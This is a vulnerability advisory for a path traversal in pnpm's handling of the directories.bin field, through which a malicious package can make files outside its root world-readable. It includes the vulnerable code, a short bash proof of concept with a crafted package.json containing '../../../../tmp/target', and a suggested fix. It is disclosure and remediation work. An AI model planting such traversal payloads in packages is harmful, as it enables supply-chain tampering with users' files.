CVE-2026-24131: pnpm has Path Traversal via arbitrary file permission modification

Summary When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.

Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLESHEBANGSUPPORTED).

Details Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:

typescript if (manifest.directories?.bin) { const binDir = path.join(pkgPath, manifest.directories.bin) // NO VALIDATION const files = await findFiles(binDir) // ... files outside package returned, then chmod 755'd }

The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.

PoC bash Create malicious package mkdir /tmp/malicious-pkg echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json

Create sensitive file mkdir -p /tmp/target echo "secret" > /tmp/target/secret.sh chmod 600 /tmp/target/secret.sh # Private

Install pnpm add file:/tmp/malicious-pkg

Check permissions ls -la /tmp/target/secret.sh # Now 755 (world-readable)

Impact - Supply-chain attack via npm packages - File permissions changed from 600 to 755 (world-readable) - Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)

Suggested Fix Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():

typescript if (manifest.directories?.bin) { const binDir = path.join(pkgPath, manifest.directories.bin) if (!isSubdir(pkgPath, binDir)) { return [] // Reject paths outside package } // ... }